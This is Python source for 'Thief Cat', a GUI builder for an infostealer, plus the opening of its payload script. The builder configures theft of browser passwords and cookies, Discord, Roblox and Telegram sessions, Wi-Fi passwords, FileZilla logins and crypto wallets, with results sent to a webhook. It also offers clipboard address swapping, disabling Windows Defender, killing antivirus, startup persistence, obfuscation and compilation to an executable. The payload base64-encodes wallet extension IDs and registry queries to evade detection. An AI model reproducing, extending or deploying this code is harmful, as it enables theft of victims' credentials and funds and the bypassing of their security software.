        self.logo_ab = customtkinter.CTkImage(Image.open(os.path.join(image_path, "logo.png")), size=(200, 200))
        self.options = customtkinter.CTkImage(light_image = Image.open(os.path.join(image_path, "options_d.png")), dark_image = Image.open(os.path.join(image_path, "options_w.png")), size=(35, 35))
        self.crypto = customtkinter.CTkImage(light_image = Image.open(os.path.join(image_path, "crypto_d.png")), dark_image = Image.open(os.path.join(image_path, "crypto_w.png")), size=(35, 35))
        self.files = customtkinter.CTkImage(light_image = Image.open(os.path.join(image_path, "files_d.png")), dark_image = Image.open(os.path.join(image_path, "files_w.png")), size=(35, 35))
        self.icons = customtkinter.CTkImage(light_image = Image.open(os.path.join(image_path, "files_d.png")), dark_image = Image.open(os.path.join(image_path, "files_w.png")), size=(20, 20))
        self.build_img = customtkinter.CTkImage(light_image = Image.open(os.path.join(image_path, "build_d.png")), dark_image = Image.open(os.path.join(image_path, "build_w.png")), size=(35, 35))
        self.about = customtkinter.CTkImage(light_image = Image.open(os.path.join(image_path, "about_d.png")), dark_image = Image.open(os.path.join(image_path, "about_w.png")), size=(35, 35))
        self.arrow = customtkinter.CTkImage(light_image = Image.open(os.path.join(image_path, "arrow_d.png")), dark_image = Image.open(os.path.join(image_path, "arrow_w.png")), size=(50, 30))


        #List Frame
        self.options_frame = customtkinter.CTkFrame(self, fg_color="transparent")
        self.options_frame.grid_columnconfigure(0, weight=1)

        self.nav_frame = customtkinter.CTkFrame(self)
        self.nav_frame.grid(row=0, sticky="nsew")

        self.crypto_frame = customtkinter.CTkFrame(self, fg_color="transparent")
        self.crypto_frame.grid_columnconfigure(0, weight=1)

        self.build_frame = customtkinter.CTkFrame(self, fg_color="transparent")
        self.build_frame.grid_columnconfigure(0, weight=1)

        self.file_frame = customtkinter.CTkFrame(self, fg_color="transparent")
        self.file_frame.grid_columnconfigure(0, weight=1)

        self.about_frame = customtkinter.CTkFrame(self, fg_color="transparent")
        self.about_frame.grid_columnconfigure(0, weight=1)


        #Nav Bar
        self.nav_frame.grid_rowconfigure(7, weight=1)
        self.nav_label = customtkinter.CTkLabel(self.nav_frame, text="", image=self.logo)
        self.nav_label.grid(row=0, pady=(5, 15))

        self.option_button = customtkinter.CTkButton(self.nav_frame, corner_radius=5, text="", hover_color="#ff0026", image=self.options, command=self.option_event)
        self.option_button.grid(row=1, pady=(10, 35))

        self.crypto_button = customtkinter.CTkButton(self.nav_frame, corner_radius=5, text="", hover_color="#ff0026", image=self.crypto, command=self.crypto_event)
        self.crypto_button.grid(row=2, pady=(0, 35))

        self.file_button = customtkinter.CTkButton(self.nav_frame, corner_radius=5, text="", hover_color="#ff0026", image=self.files, command=self.file_event)
        self.file_button.grid(row=3, pady=(0, 35))

        self.build_button = customtkinter.CTkButton(self.nav_frame, corner_radius=5, text="", hover_color="#ff0026", image=self.build_img, command=self.build_event)
        self.build_button.grid(row=4, pady=(0, 35))

        self.about_button = customtkinter.CTkButton(self.nav_frame, corner_radius=5, text="", hover_color="#ff0026", image=self.about, command=self.about_event)
        self.about_button.grid(row=5, pady=(0, 35))

        self.app_mod = customtkinter.CTkComboBox(self.nav_frame, width=120, height=30, values=["System", "Light", "Dark"], command=self.change_app)
        self.app_mod.grid(row=6, pady=(0, 35))


        #Options category
        self.w3bh00k_input = customtkinter.CTkEntry(self.options_frame, width=420, fg_color=("gray75", "gray25"), placeholder_text="Enter your webhook")
        self.w3bh00k_input.grid(row=2, padx=40, pady=(15, 12))

        self.api_link_input = customtkinter.CTkEntry(self.options_frame, width=420, fg_color=("gray75", "gray25"), placeholder_text="Enter your api link")
        self.api_link_input.grid(row=3, padx=40, pady=(0, 13))

        self.w3bh00k_button = customtkinter.CTkButton(self.options_frame, width=120, height=30, fg_color=("gray75", "gray25"), hover_color="#ff0026", text="Check Webhook", command=self.c_button)
        self.w3bh00k_button.grid(row=2, column=2, padx=40, pady=(15, 5))

        self.n3m3_input = customtkinter.CTkEntry(self.options_frame, width=420, fg_color=("gray75", "gray25"), placeholder_text="Enter your file output name")
        self.n3m3_input.grid(row=4, padx=40, pady=(0, 13))

        self.icon_button = customtkinter.CTkButton(self.options_frame, width=30, height=30, fg_color="transparent", hover_color="#ff0026", text="", image=self.icons, command=self.icon)
        self.icon_button.grid(row=5, padx=40, pady=(0, 13))

        self.icon_check = customtkinter.CTkCheckBox(self.options_frame, text="Add icon on your exe (.ico)", fg_color=("gray75", "gray25"), hover_color="#ff0026", onvalue="yes",offvalue="no")
        self.icon_check.grid(row=5, sticky="nw", padx=40, pady=(0, 13))

        self.kill = customtkinter.CTkCheckBox(self.options_frame, text="Kill victim Discord Client", fg_color=("gray75", "gray25"), hover_color="#ff0026", onvalue=True, offvalue=False)
        self.kill.grid(row=6, sticky="nw", padx=40, pady=(0, 13))

        self.dbug = customtkinter.CTkCheckBox(self.options_frame, text="Enable Anti-Debug \n[Recommand yes, Kill Anti-Virus/Anti-Firewall/Anti-VM]?", fg_color=("gray75", "gray25"), hover_color="#ff0026", onvalue=True, offvalue=False)
        self.dbug.grid(row=7, sticky="nw", padx=40, pady=(0, 13))

        self.ping_new = customtkinter.CTkCheckBox(self.options_frame,text="Ping on new victim? (here/everyone)", fg_color=("gray75", "gray25"), hover_color="#ff0026",command=self.pings, onvalue="yes", offvalue="no")
        self.ping_new.grid(row=8, sticky="nw", padx=40, pady=(0, 13))

        self.ping_option = customtkinter.CTkComboBox(self.options_frame, width=120, height=30, values=["here", "everyone"], fg_color=("gray75", "gray25"))
        self.ping_option.grid(row=8, column=2, sticky="nw", padx=40, pady=(0, 13))

        self.wd = customtkinter.CTkCheckBox(self.options_frame, text="Disable Windows Defender \n(Can create error/detection Recommand \"no active\")", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
        self.wd.grid(row=9, sticky="nw", padx=40, pady=(0, 13))

        self.fake_err = customtkinter.CTkCheckBox(self.options_frame,text="Add a fake error", fg_color=("gray75", "gray25"), hover_color="#ff0026", onvalue='yes', offvalue='no')
        self.fake_err.grid(row=10, sticky="nw", padx=40, pady=(0, 13))

        self.startups = customtkinter.CTkCheckBox(self.options_frame, text="Add file to startup", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
        self.startups.grid(row=11, sticky="nw", padx=40, pady=(0, 13))

        self.hide = customtkinter.CTkCheckBox(self.options_frame, text="Hide Thief Cat console for victim", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
        self.hide.grid(row=12, sticky="nw", padx=40, pady=(0, 13))

        self.icb = customtkinter.CTkCheckBox(self.options_frame, text="Inject into all Browsers", fg_color=("gray75", "gray25"), hover_color="#ff0026", onvalue='yes', offvalue='no')
        self.icb.grid(row=13, sticky="nw", padx=40, pady=(0, 13))

        self.iacb = customtkinter.CTkCheckBox(self.options_frame, text="Inject in All Discord Clients", fg_color=("gray75", "gray25"), hover_color="#ff0026", onvalue='yes', offvalue='no')
        self.iacb.grid(row=14, sticky="nw", padx=40)

        self.next_option_button = customtkinter.CTkButton(self.options_frame, width=40, height=30, fg_color="transparent", hover_color=("gray75", "gray25"), text="", image=self.arrow, command=self.crypto_event)
        self.next_option_button.grid(row=14, column=2, padx=1)

        self.soundlilvoice = customtkinter.CTkCheckBox(self.options_frame, text="Enable Little Voice in headphones\n(Thief Cat Rap)", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
        self.soundlilvoice.grid(row=15, sticky="nw", padx=40, pady=(0, 13))


        #Crypto category

        self.active = customtkinter.CTkCheckBox(self.crypto_frame, text="Replace all copied crypto address wallet by your address", fg_color=("gray75", "gray25"), hover_color="#ff0026", onvalue='yes', offvalue='no')
        self.active.grid(row=1, sticky="nw", padx=40, pady=(15, 25))

        self.btc_input = customtkinter.CTkEntry(self.crypto_frame, width=420, fg_color=("gray75", "gray25"), placeholder_text="Your Bitcoin Address (let empty if you do not have)")
        self.btc_input.grid(row=3, padx=40, pady=(0, 25))

        self.eth_input = customtkinter.CTkEntry(self.crypto_frame, width=420, fg_color=("gray75", "gray25"), placeholder_text="Your Ethereum Address (let empty if you do not have)")
        self.eth_input.grid(row=5, padx=40, pady=(0, 25))

        self.xchain_input = customtkinter.CTkEntry(self.crypto_frame, width=420, fg_color=("gray75", "gray25"), placeholder_text="Your X-Chain Address (let empty if you do not have)")
        self.xchain_input.grid(row=7, padx=40, pady=(0, 25))

        self.pchain_input = customtkinter.CTkEntry(self.crypto_frame, width=420, fg_color=("gray75", "gray25"), placeholder_text="Your P-Chain Address (let empty if you do not have)")
        self.pchain_input.grid(row=9, padx=40, pady=(0, 25))

        self.cchain_input = customtkinter.CTkEntry(self.crypto_frame, width=420, fg_color=("gray75", "gray25"), placeholder_text="Your C-Chain Address (let empty if you do not have)")
        self.cchain_input.grid(row=11, padx=40, pady=(0, 25))

        self.monero_input = customtkinter.CTkEntry(self.crypto_frame, width=420, fg_color=("gray75", "gray25"), placeholder_text="Your Monero Address (let empty if you do not have)")
        self.monero_input.grid(row=13, padx=40, pady=(0, 25))

        self.ada_input = customtkinter.CTkEntry(self.crypto_frame, width=420, fg_color=("gray75", "gray25"), placeholder_text="Your Ada/Cardano Address (let empty if you do not have)")
        self.ada_input.grid(row=15, padx=40, pady=(0, 25))

        self.dash_input = customtkinter.CTkEntry(self.crypto_frame, width=420, fg_color=("gray75", "gray25"), placeholder_text="Your Dash Address (let empty if you do not have)")
        self.dash_input.grid(row=17, padx=40)

        self.next_cryptosteal_button = customtkinter.CTkButton(self.crypto_frame, width=40, height=30, fg_color="transparent",hover_color=("gray75", "gray25"), text="", image=self.arrow, command=self.file_event)
        self.next_cryptosteal_button.grid(row=17, column=2, padx=40)


        #File category
        self.browsers_button = customtkinter.CTkCheckBox(self.file_frame,text="Steal Browsers Files (Cookies/Password/etc...)", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
        self.browsers_button.grid(row=1, sticky="nw", padx=40, pady=(0, 24))

        self.antivirus_button = customtkinter.CTkCheckBox(self.file_frame,text="Steal all anti virus informations", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
        self.antivirus_button.grid(row=2, sticky="nw", padx=40, pady=(0, 24))

        self.mc_button = customtkinter.CTkCheckBox(self.file_frame, text="Steal all games files", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
        self.mc_button.grid(row=3, sticky="nw", padx=40, pady=(0, 24))

        self.sys_button = customtkinter.CTkCheckBox(self.file_frame, text="Steal systeme informations", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
        self.sys_button.grid(row=4, sticky="nw", padx=40, pady=(0, 24))

        self.roblox_button = customtkinter.CTkCheckBox(self.file_frame, text="Steal roblox app token", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
        self.roblox_button.grid(row=5, sticky="nw", padx=40, pady=(0, 24))

        self.screen_button = customtkinter.CTkCheckBox(self.file_frame, text="Take screenshot", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
        self.screen_button.grid(row=6, sticky="nw", padx=40, pady=(0, 24))

        self.last_button = customtkinter.CTkCheckBox(self.file_frame, text="Steal latest clipboard", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
        self.last_button.grid(row=7, sticky="nw", padx=40, pady=(0, 24))

        self.wifi_button = customtkinter.CTkCheckBox(self.file_frame, text="Steal all wifi passwords", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
        self.wifi_button.grid(row=8, sticky="nw", padx=40, pady=(0, 24))

        self.launcher_button = customtkinter.CTkCheckBox(self.file_frame, text="Steal all Games Launcher", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
        self.launcher_button.grid(row=9, sticky="nw", padx=40, pady=(0, 24))

        self.telegram_button = customtkinter.CTkCheckBox(self.file_frame, text="Steal Telegram Session", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
        self.telegram_button.grid(row=10, sticky="nw", padx=40, pady=(0, 24))

        self.filezilla_button = customtkinter.CTkCheckBox(self.file_frame, text="Steal FileZilla old connection", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
        self.filezilla_button.grid(row=11, sticky="nw", padx=40, pady=(0, 24))

        self.next_cryptosteal_button = customtkinter.CTkCheckBox(self.file_frame, text="Steal Crypto Wallet (extension & app)", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
        self.next_cryptosteal_button.grid(row=12, sticky="nw", padx=40, pady=(0, 24))

        self.next_crypto_button = customtkinter.CTkButton(self.file_frame, width=40, height=30,fg_color="transparent",hover_color=("gray75", "gray25"), text="", image=self.arrow,command=self.build_event)
        self.next_crypto_button.grid(row=8, column=2, padx=40)

        #Select button defaut
        for button in [self.browsers_button, self.filezilla_button , self.telegram_button, self.next_cryptosteal_button, self.antivirus_button, self.mc_button, self.sys_button, self.roblox_button, self.screen_button, self.last_button, self.wifi_button, self.icb, self.iacb, self.hide, self.launcher_button]:
            button.select()


        #Build category
        self.bindbutton = customtkinter.CTkButton(self.build_frame, width=30, height=30, fg_color="transparent", hover_color="#ff0026", text="", image=self.icons, command=self.select_file)
        self.bindbutton.grid(row=3, padx=40, pady=(0, 13))

        self.bind_check = customtkinter.CTkCheckBox(self.build_frame, text="Add .exe or .bat to bind in your exe", fg_color=("gray75", "gray25"), hover_color="#ff0026", onvalue="yes",offvalue="no")
        self.bind_check.grid(row=3, sticky="nw", padx=40, pady=(0, 13))

        self.obf = customtkinter.CTkCheckBox(self.build_frame, text="Obfuscate the Thief Cat", fg_color=("gray75", "gray25"), hover_color="#ff0026", onvalue='yes', offvalue='no')
        self.obf.grid(row=1, sticky="nw", padx=40, pady=(20, 20))

        self.compy = customtkinter.CTkCheckBox(self.build_frame,text="Compil into .exe (Let Empty for .py)", fg_color=("gray75", "gray25"), hover_color="#ff0026", onvalue='yes', offvalue='no')
        self.compy.grid(row=2, sticky="nw", padx=40, pady=(20, 20))

        self.obf_name = customtkinter.CTkLabel(master=self.build_frame, text="Obfuscation Level")
        self.obf_name.grid(row=4, columnspan=2, padx=10, pady=(20, 5))

        self.num = customtkinter.CTkLabel(master=self.build_frame, text='          0%                                          25%                                         50%                                        75%                                        100%')
        self.num.grid(row=5, columnspan=1, padx=10, sticky="nw")

        self.obf_bar = customtkinter.CTkSlider(self.build_frame, from_=0, to=1, number_of_steps=4, fg_color=("gray75", "gray25"))
        self.obf_bar.grid(row=6, sticky="ew", padx=40, pady=(0, 20))

        self.pleasebuild = customtkinter.CTkButton(self.build_frame, width=150, height=50, fg_color=("gray75", "gray25"), hover_color="#ff0026", text="BUILD SCRIPT", command=lambda: self.build_scr(self.n3m3_input.get().replace(" ", "_"), self.w3bh00k_input.get()), compound="right")
        self.pleasebuild.grid(row=7, padx=0, pady=(20, 20))

        #About category
        self.img = customtkinter.CTkLabel(self.about_frame, text="", image=self.logo_ab)
        self.img.grid(row=0, pady=20)

        urls = [("Github", "https://github.com/KSCH-58"),("Website", "https://hawkish.eu/"),("Telegram", "https://t.me/+WvJrz6yv5AxkYjY8")]

        for i, (text, url) in enumerate(urls, start=3):
            button = customtkinter.CTkButton(self.about_frame, text=text, fg_color=("gray75", "gray25"),hover_color="#ff0026", command=lambda url=url: webbrowser.open(url))
            button.grid(row=i, pady=10)

        self.function("options")

    # Nav bar
    def function(self, name):
        buttons = [self.option_button, self.crypto_button, self.file_button, self.build_button, self.about_button]

        for button in buttons:
            button_name = button.cget("text").lower()
            button.configure(fg_color=("gray75", "gray25") if button_name == name else "transparent")

        frames = {
            "options": self.options_frame,
            "crypto": self.crypto_frame,
            "file": self.file_frame,
            "build": self.build_frame,
            "about": self.about_frame
        }

        for button_name, frame in frames.items():
            if button_name == name:
                frame.grid(row=0, column=1, sticky="nsew")
            else:
                frame.grid_forget()

    def change_app(self, new_app):
        customtkinter.set_appearance_mode(new_app)

    def on_close(self):
        self.destroy()
        sys.exit()

    #Options category
    def r_icon(self):
        self.icon_button.configure(fg_color="transparent", hover_color=("gray75", "gray25"), text="")

    def icon(self):
        self.icon_name = fd.askopenfilename()
        self.name_icon = os.path.basename(self.icon_name)
        if os.path.isfile(f"{self.icon_name}"):
            self.icon_button.configure(width=30, height=30, fg_color="green", hover_color=("gray75", "gray25"),text="")
            self.options_frame.after(3500, self.r_icon)
            pass
        else:
            self.icon_button.configure(width=30, height=30, fg_color="red", hover_color=("gray75", "gray25"),text="")
            self.options_frame.after(3500, self.r_icon)
        if self.icon_name.endswith('.ico'):
            pass
        else:
            self.icon_button.configure(width=30, height=30, fg_color="red", hover_color=("gray75", "gray25"),text="")
            self.options_frame.after(3500, self.r_icon)

    def select_file(self):
        filename = fd.askopenfilename(filetypes=[("Executable Files", "*.exe;*.bat")])
        if filename:
            try:
                file_name = os.path.basename(filename)
                destination_path = os.path.join("ThiefCat_assets", "bind", file_name)
                shutil.copy(filename, destination_path)
                self.bind_name = destination_path
                self.executable_name = file_name
            except:
                pass
        else:
            pass

    def v_w3bh00k(self):
        webhook = self.w3bh00k_input.get()
        try:
            r = requests.get(webhook, timeout=5)
            if r.status_code == 200:
                return True
            else:
                return False
        except requests.exceptions.RequestException:
            return False

    def c_button(self):
        if self.v_w3bh00k():
            self.w3bh00k_button.configure(width=120, height=30, fg_color="green", hover_color=("gray75", "gray25"), text="Valid Webhook")
            self.options_frame.after(3500, self.r_button)
        else:
            self.w3bh00k_button.configure(width=120, height=30, fg_color="red", hover_color=("gray75", "gray25"), text="Invalid Webhook")
            self.options_frame.after(3500, self.r_button)

    def r_button(self):
        self.w3bh00k_button.configure(fg_color=("gray75", "gray25"), hover_color="#ff0026", text="Check Webhook")

    def pings(self):
        if self.ping_new.get() == "yes":
            self.ping = "yes"
            self.pingtype = self.ping_option.get()
        else:
            self.ping = "no"
            self.pingtype = "none"

    #Nav Bar
    def option_event(self):
        self.function("options")

    def crypto_event(self):
        self.function("crypto")

    def build_event(self):
        self.function("build")

    def file_event(self):
        self.function("file")

    def about_event(self):
        self.function("about")

##BUILDER USING
    def reset_build(self):
        self.pleasebuild.configure(fg_color=("gray75", "gray25"), text="BUILD SCRIPT")

    def build_scr(self, filename, webhook):
        self.pleasebuild.configure(width=150, height=50, fg_color="green", hover_color=("gray75", "gray25"),text="Build currently starting")
        self.options_frame.after(5000, self.reset_build)
        self.mk_file(filename, webhook)
        self.cleanup(filename)
        self.renamefile(filename)

    def mk_file(self, filename,webhook):
        with open('./main.py', 'r', encoding="utf-8") as f:
            code = f.read()

        inputs = {
            'btc_input': 'btc_', 'eth_input': 'eth_',
            'xchain_input': 'xchain_', 'pchain_input': 'pchain_', 'cchain_input': 'cchain_',
            'monero_input': 'monero_',
            'ada_input': 'ada_',
            'dash_input': 'dash_'
        }

        for key, value in inputs.items():
            setattr(self, value, self.__dict__[key].get() if len(self.__dict__[key].get()) > 0 else 'none')

        if self.active.get() != "yes":
            inputs = {
                'btc_': '', 'eth_': '',
                'xchain_': '', 'pchain_': '', 'cchain_': '',
                'monero_': '',
                'ada_': '',
                'dash_': ''
            }

            for key, value in inputs.items():
                setattr(self, key, value)

        b64 = webhook.encode('utf-8')
        bs64 = base64.b64encode(b64)
        with open(f"{filename}.py", "w", encoding="utf-8") as f:
            f.write(code.replace('%B64_WBH_STR%', str(bs64).replace("b'", "").replace("'", ""))
                    .replace("%PC_CREATOR%", os.getenv("COMPUTERNAME"))
                    .replace("%USER_CREATOR%", custom_username)
                    .replace("%Ping_Options%", str(self.ping_new.get()))
                    .replace("%Disable_Defender_Options%", str(self.wd.get()))
                    .replace("%PingType_Options%", self.pingtype)
                    .replace("%CryptoReplacer_Options%", str(self.active.get()))
                    .replace("%Bind_Options%", self.executable_name)
                    .replace("%BTC_address_Options%", self.btc_)
                    .replace("%_ETH_address_Options%", self.eth_)
                    .replace("%_XCHAIN_address_Options%", self.xchain_)
                    .replace("%PCHAIN_address_Options%", self.pchain_)
                    .replace("%CCHAIN_address_Options%", self.cchain_)
                    .replace("%MONERO_address_Options%", self.monero_)
                    .replace("%ADA_address_Options%", self.ada_)
                    .replace("%DASH_address_Options%", self.dash_)
                    .replace("%_error_thiefcat%", str(self.fake_err.get()))
                    .replace("%Startup_Options%", str(self.startups.get()))
                    .replace("%Hide_Options%", str(self.hide.get()))
                    .replace("%Telegram_Options%", str(self.telegram_button.get()))
                    .replace("%_FileZilla_Options%", str(self.filezilla_button.get()))
                    .replace("'%KillDiscord_Options%'", str(self.kill.get()))
                    .replace("'%Debugger_Options%'", str(self.dbug.get()))
                    .replace("%_GetBrowsers_Options%", str(self.browsers_button.get()))
                    .replace("%AntiVirus_Options%", str(self.antivirus_button.get()))
                    .replace("%_Games_Options%", str(self.mc_button.get()))
                    .replace("%Sys_Options%", str(self.sys_button.get()))
                    .replace("%Roblox_Options%", str(self.roblox_button.get()))
                    .replace("%ClipBoard_Options%", str(self.last_button.get()))
                    .replace("%Screen_Options%", str(self.screen_button.get()))
                    .replace("%Wifi_Options%", str(self.wifi_button.get()))
                    .replace("%_Found_Launcher%", str(self.launcher_button.get()))
                    .replace("%Crypto_Options%", str(self.next_cryptosteal_button.get()))
                    .replace("%InjectBrowsers_Options%", str(self.icb.get()))
                    .replace("%InjectDiscord_Options%", str(self.iacb.get()))
                    .replace("%_LilVoice_Options%", str(self.soundlilvoice.get()))
                    .replace("%API_LINK%", str(self.api_link_input.get().replace("\n", ""))))

        time.sleep(2)
        
        if self.obf.get() == 'yes' and self.compy.get() == 'yes':
            self.encryption(f"{filename}")
            self.compile(f"obfuscated_{filename}")
        elif self.obf.get() == 'no' and self.compy.get() == 'yes':
            self.compile(f"{filename}")
        elif self.obf.get() == 'yes' and self.compy.get() == 'no':
            self.encryption(f"{filename}")
        else:
            pass

    def encryption(self, filename):
        os.system(f"python ./ThiefCat_assets/obfuscation/obfuscation.py -r -i {filename}.py -o obfuscated_{filename}.py -s {self.obf_bar.get() * 100}".replace(".0", ""))

    def compile(self, filename):
        icon_name = self.icon_name if self.icon_name else self.iconname
        icon = icon_name if self.icon_check.get() == 'yes' else "NONE"
        bind_option = ""
        if self.bind_check.get() == "yes" and self.bind_name:
            bind_option = f" --add-binary {self.bind_name};.'"
        hide_option = " --noconsole" if self.hide.get() == "yes" else ""
        icb_option = " --uac-admin" if self.icb.get() == "yes" else ""
        command = f'python ./ThiefCat_assets/MwlareBuilder/__main__.py --onefile --version-file=./ThiefCat_assets/version/version.txt{icb_option} --hiddenimport=pypiwin32{hide_option}{bind_option} --upx-dir=./ThiefCat_assets/upx -i {icon} --distpath ./ .\\{filename}.py'
        
        print(command)
        os.system(command)


    def cleanup(self, filename):
        cleans_dir = {'./__pycache__', './build'}
        cleans_file = {f'./{filename}.py',f'./{filename}.spec',f'./obfuscated_compressed_{filename}.py',f'./obfuscated_{filename}.py',f'./obfuscated_{filename}.spec',f'./compressed_{filename}.py',f'./compressed_{filename}.spec'}

        if self.obf.get() == 'yes' and self.compy.get() == 'no':
            cleans_file.add(f'./{filename}.py')
            cleans_file.remove(f'./obfuscated_{filename}.py')
        elif self.obf.get() == 'yes' and self.compy.get() == 'yes':
            cleans_file.add(f'./{filename}.py')
            cleans_file.add(f'./obfuscated_{filename}.spec')
        elif self.obf.get() == 'no' and self.compy.get() == 'no':
            cleans_file.remove(f'./{filename}.py')
        else:
            pass

        for clean in cleans_dir:
            try:
                if os.path.isdir(clean):
                    shutil.rmtree(clean)
            except Exception:
                pass
                continue

        for clean in cleans_file:
            try:
                if os.path.isfile(clean):
                    os.remove(clean)
            except Exception:
                pass
                continue

    def renamefile(self, filename):
        files = [f"./obfuscated_compressed_{filename}.py", f"./compressed_{filename}.py",
                 f"./compressed_{filename}.exe", f"./obfuscated_{filename}.py",
                 f"./obfuscated_compressed_{filename}.exe", f"./obfuscated_{filename}.exe"]
        for file in files:
            try:
                os.rename(file, f"./{filename}{os.path.splitext(file)[1]}")
            except Exception:
                pass


def app_threade():
    app = ThiefCat()
    app.mainloop()

def rpcloop_threade():
    rpcloop()


if __name__ == "__main__":
    # hide = win32gui.GetForegroundWindow()
    #win32gui.ShowWindow(hide, win32con.SW_HIDE)
    app_thread = threading.Thread(target=app_threade)
    rpcloop_thread = threading.Thread(target=rpcloop_threade)
    app_thread.start()
    rpcloop_thread.start()
    app_thread.join()
    rpcloop_thread.join()

builder.py
KSCH-58/Thief-Cat
import asyncio
import sys
import json
import os
import random
import re
import shutil
import sqlite3
import subprocess
import threading
import winreg
import zipfile
import httpx
import psutil
import base64
import requests
import ctypes
import time
import pyperclip
import locale
import win32gui
import win32con
import win32api
import win32process
import cv2


from urllib.parse import urlparse
from configparser import ConfigParser



from tempfile import gettempdir, mkdtemp
from base64 import b64decode
from datetime import datetime, timedelta, timezone
from sys import argv
from ctypes import c_char_p, c_int, c_uint32, c_void_p, c_uint
from Crypto.Cipher import AES
from win32crypt import CryptUnprotectData
from subprocess import CREATE_NEW_CONSOLE, Popen, PIPE
from PIL import ImageGrab


NotKSCH58 = base64.b64decode(b'VGhpZWYtQ2F0').decode()
maybycool = base64.b64decode(b'VXNlciBEYXRh').decode()
ntwrk = base64.b64decode(b'TmV0d29yaw==').decode()
myname_little = NotKSCH58.lower()
justaterm = base64.b64decode(b'Q29va2llcw==').decode()
justatermlil = justaterm.lower()
coresecretname = base64.b64decode(b'ZGlzY29yZF9kZXNrdG9wX2NvcmU=').decode()
lilcorereg = f'{base64.b64decode("UkVHIFFVRVJZIEhLRVlfTE9DQUxfTUFDSElORVxcU1lTVEVNXFxDb250cm9sU2V0MDAxXFxDb250cm9sXFxDbGFzc1xcezREMzZFOTY4LUUzMjUtMTFDRS1CRkMxLTA4MDAyQkUxMDMxOH1cXDAwMDBcXERyaXZlckRlc2MgMj4gbnVs")}'.replace("b'", "").replace("'", "")
anotherreg = f'{base64.b64decode("UkVHIFFVRVJZIEhLRVlfTE9DQUxfTUFDSElORVxcU1lTVEVNXFxDb250cm9sU2V0MDAxXFxDb250cm9sXFxDbGFzc1xcezREMzZFOTY4LUUzMjUtMTFDRS1CRkMxLTA4MDAyQkUxMDMxOH1cXDAwMDBcXFByb3ZpZGVyTmFtZSAyPiBudWxs")}'.replace("b'", "").replace("'", "")
justakeyreg = f'{base64.b64decode("U1lTVEVNXFxDdXJyZW50Q29udHJvbFNldFxcU2VydmljZXNcXERpc2tcXEVudW0=")}'.replace("b'", "").replace("'", "")

#EXTENSIONS IN BASE64 PREVENT DETECTIONS
extension_id1 = f'{base64.b64decode("bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm4=")}'.replace("b'", "").replace("'", "")
extension_id2= f'{base64.b64decode("ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG0=")}'.replace("b'", "").replace("'", "")
extension_id3 =  f'{base64.b64decode("YWhvbHBmZGlhbGpnamZob21paGtqYm1namlkbGNkbm8=")}'.replace("b'", "").replace("'", "")
extension_id4 =  f'{base64.b64decode("Zmhib2hpbWFlbGJvaHBqYmIxZGNuZ2NuYXBuZG9kanA=")}'.replace("b'", "").replace("'", "")
extension_id5 =  f'{base64.b64decode("YmZuYWVsbW9tZWltaGxwbWdqbmpvcGhocGtrb2xqcGE=")}'.replace("b'", "").replace("'", "")
extension_id6 =  f'{base64.b64decode("aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWQ=")}'.replace("b'", "").replace("'", "")
extension_id7 =  f'{base64.b64decode("Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWM=")}'.replace("b'", "").replace("'", "")
extension_id8 =  f'{base64.b64decode("YWVhY2hrbm1lZnBoZXBjY2lvbmJvb2hja29ub2VlbWc=")}'.replace("b'", "").replace("'", "")
extension_id9 =  f'{base64.b64decode("cGRhZGprZmtnY2FmZ2JjZWltY3Bia2FsbmZuZXBibms=")}'.replace("b'", "").replace("'", "")
extension_id10 =  f'{base64.b64decode("YWlpZmJuYmZvYnBtZWVraXBoZWVpamltZHBuSXBncHA=")}'.replace("b'", "").replace("'", "")
extension_id11=  f'{base64.b64decode("amttbWpqbW1mbGRkb2dtaHBqbG9pbWlwYm9mbmZqaWg=")}'.replace("b'", "").replace("'", "")
extension_id12=  f'{base64.b64decode("Zm5uZWdwG2hvYmphamRwa2hlY2Fwa2lqamRrZ2NqaGtpYg==")}'.replace("b'", "").replace("'", "")
extension_id13 =  f'{base64.b64decode("SXBmY2Jqa25pamVlaWxsaWZua2lrZ25jaWtnbmNpa2dmaGRv")}'.replace("b'", "").replace("'", "")
extension_id14 =  f'{base64.b64decode("ZWZiZ0lnb2ZvaXBwYmdiY2plcG5oaWJsYWlic25jaGVpZ2hqYWpi")}'.replace("b'", "").replace("'", "")
extension_id15 =  f'{base64.b64decode("am5sZ2FtZWNicG1iYWpqZmhtbW1saGVqa2VtZWpkbWE=")}'.replace("b'", "").replace("'", "")
extension_id16 =  f'{base64.b64decode("aG1lb2JuZm5mZmNtZGtka21sYjFnYWdtZnBmYm9pZWFm")}'.replace("b'", "").replace("'", "")
extension_id17 =  f'{base64.b64decode("ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoaGphamJ=")}'.replace("b'", "").replace("'", "")
extension_id18 =  f'{base64.b64decode("bnBoaUltcGdvYWtoaGpjaGtrbGhtaWdnYWtpam5raGZuZA==")}'.replace("b'", "").replace("'", "")
extension_id19 =  f'{base64.b64decode("YmhnAGhvbWFwY2RwYm9ocGhpZ29vb2FkZGRpcmtwb2tuYmFp")}'.replace("b'", "").replace("'", "")
